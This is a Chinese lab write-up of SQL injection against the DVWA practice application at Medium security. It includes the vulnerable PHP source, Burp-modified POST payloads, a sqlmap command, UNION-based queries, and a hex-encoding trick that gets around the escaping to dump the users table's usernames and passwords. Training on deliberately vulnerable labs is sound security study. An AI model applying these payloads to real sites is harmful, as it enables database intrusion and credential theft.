• (八)DVWA之SQL Injection--SQLMap&Burp测试(Medium)


    一、测试需求分析

    测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能
    防御等级:Medium
    测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
    测试方式:手工/SQLMap+BurpSuite

    url: http://localhost:8001/dvwa/vulnerabilities/sqli/

    被测模块

    防御等级为Medium的后端控制代码:
    medium.php

    <?php
    
    if( isset( $_POST[ 'Submit' ] ) ) {
        // Get input
        $id = $_POST[ 'id' ];
        $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Display values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
    }
    
    // This is used later on in the index.php page
    // Setting it here so we can close the database connection in here like in the rest of the source scripts
    $query  = "SELECT COUNT(*) FROM users;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    $number_of_rows = mysqli_fetch_row( $result )[0];
    
    mysqli_close($GLOBALS["___mysqli_ston"]);
    ?>
    

    比较medium.php和low.php的控制代码:

    medium.php VS low.php
    差异点MediumLow
    1. 字符转义处理 mysqli_real_escape_string()  
    2. query参数类型 user_id = $id user_id = '$id'
    3. 参数传递请求 id =_POST[ 'id' ] id =_REQUEST[ 'id' ]

    从以上代码比较分析可知:

    1. 防御为Medium级别的代码对参数id进行了过滤,通过PHP函数mysqli_real_escape_string()将$id变量中的特殊符号(如:单引号'、双引号"、反斜杠...)进行转义处理;同时前端页面设置成了下拉表单的样式,以此控制用户的输入
    2. Medium级别的query查询语句中的参数id去掉了引号,调整成数字型,Low级别的是字符型(参数值带引号)
    3. Medium级别:$_POST接收POST方式发送的请求,POST请求通过form表单传输参数;Low级别:$_REQUEST可接收GET或POST方式发送的请求。而GET方式发送的GET请求通过地址栏传输参数

    PS:mysqli_real_escape_string()函数的作用,可参看==>PHP 5 MySQLi 函数

    对于Medium级别的前后端的代码和样式调整,采取的测试策略为:
    1. 利用拦截工具(BurpSuite)拦截浏览器端和服务器端之间的POST请求数据,抓取涉及查询的数据,修改参数,构造恶意攻击的查询语句绕过客户端直接向服务端发送请求
    2. 除此,还可以利用SQLMap自动化工具进行测试基于POST请求的SQL注入漏洞,此时需要结合请求体中的Form Data一起检测(常规情况下,因POST请求的url中不包含传递的参数,参数放在了Form Data中进行传递)

    二、判断是否存在注入点,以及注入的类型

    方式1

    Burp拦截到的Submit数据

    在Raw数据区域,右键选择Send to Repeater
    修改拦截数据中POST请求体的id参数为:
    id=1' or 1=1 # 提交后返回空白记录
    id=1' or 1=2 # 提交后返回空白记录
    id=1 or 1=1 # 提交后返回所有ID的First name、Surname
    id=1 or 1=2 # 提交后无返回ID相关的数据

     

    从以上数据可判断,对于url(http://localhost:8001/dvwa/vulnerabilities/sqli/),其POST请求Form Data中的参数id存在数字型的SQL注入

    方式2
    也可以利用SQLMap来检查注入点,此时需要获取cookie、POST请求体中的数据(通过浏览器的F12查看or拦截工具查看)

    SQLMap操作命令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=5cumofndbv4g7cme2jj5gci0s1" --batch

     

    三、获取数据库信息

    1.猜解所查询的字段数目

    构造参数id取值的SQL查询
    1 order by 2 # 提交后返回正常的ID数据
    1 order by 3 # 提交后返回空白记录

    ==>说明SQL查询的有2个字段

    2.获取字段显示位

    1 union select 1,2 # 提交后返回的显示位分别在字段First name、Surname上

    对于后端PHP语言环境(Response数据中已列出),数字型的查询,大致可推测出Query语句类似如==> select FirstName,Surname from UserTables where UserID=$id;

    3.通过显示位获取数据库信息

    尝试用Mysql的内置函数在字段显示位上获取数据库信息

    database()------------当前连接数据库的名称
    version()-------------DBMS的版本
    user()----------------当前连接数据库的用户
    @
     

     

    4.获取数据库中的表名

    • 获取DBMS中所有数据库的名称
      1 union select 1,schema_name from information_schema.schemata #
     
    • 获取当前连接数据库(dvwa)中的所有表
      1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
     

    5.获取表中的列名(字段)

    1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    查询返回空白记录,推测很可能是后端的mysqli_real_escape_string()函数对query语句中的单引号作了转义处理

    重新调整策略,对query语句中的users字符串进行16进制转换以期绕过服务端的转义机制,引号则不需要出现在16进制中

    十六进制常量
    MySQL支持十六进制值,一个十六进制值通常指定为一个字符串常量。每对十六进制数字被转换为一个字符,其最前面有一个大写字母“X”或小写“x”。在引号中只可以使用数字[0-9]、字母[a-f]、[A-F],x'4D7953514C'表示字符串MySQL。
    十六进制数值不区分大小写,其前缀“X”或“x”可以被“0x”取代而且不用引号。即X'41'可以替换为0x41,注意:“0x”中x一定要小写。
    十六进制值的默认类型是字符串。如果想要确保该值作为数字处理,可以使用cast(...AS UNSIGNED)。如执行语句:SELECT0x41, CAST(0x41 AS UNSIGNED);
    如果要将一个字符串或数字转换为十六进制格式的字符串,可以用hex()函数。如将字符串CAT转换为16进制:SELECT HEX('CAT');

    进行16进制(Hex编码)转换: users ==> 0x7573657273

    转换操作可以利用专门的工具,也可利用python代码实现转换过程

    import binascii
    h = binascii.b2a_hex(b'users')
    # h = b'users'.hex()
    print(h)

    将python输出的字符串7573657273的前面加上0x变为:0x7573657273

    对应的SQLMap操作命令为:
    1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

    获取到了users表中的8个字段的名称

    6.导出数据库中的数据

    1 union select 1,concat_ws(0x2D2D,user,password) from users #
    其中0x2D2D表示16进制的字符串'--'

    获取到了前端登录dvwa站点的用户名和密码

    7.验证导出数据的有效性

    同样的,对获取的密码解密之后即可登录检查,解密方式可参看==>手工测试DVWA之SQL注入漏洞-详细解析(防御: Low)



    作者:Fighting_001
    链接:https://www.jianshu.com/p/9498ddce285a
    来源:简书

  • 相关阅读:
    挑战程序设计竞赛 dp
    算法导论 动态规划
    算法导论第二章
    divide conquer
    时间戳
    bootstrap 针对超小屏幕和中等屏幕设备定义的不同的类
    jQuery中的Ajax
    怎么判断一个变量是Null还是undefined
    认识Ajax
    关于apache
  • 原文地址:https://www.cnblogs.com/uestc2007/p/11733368.html
Copyright © 2020-2023  润新知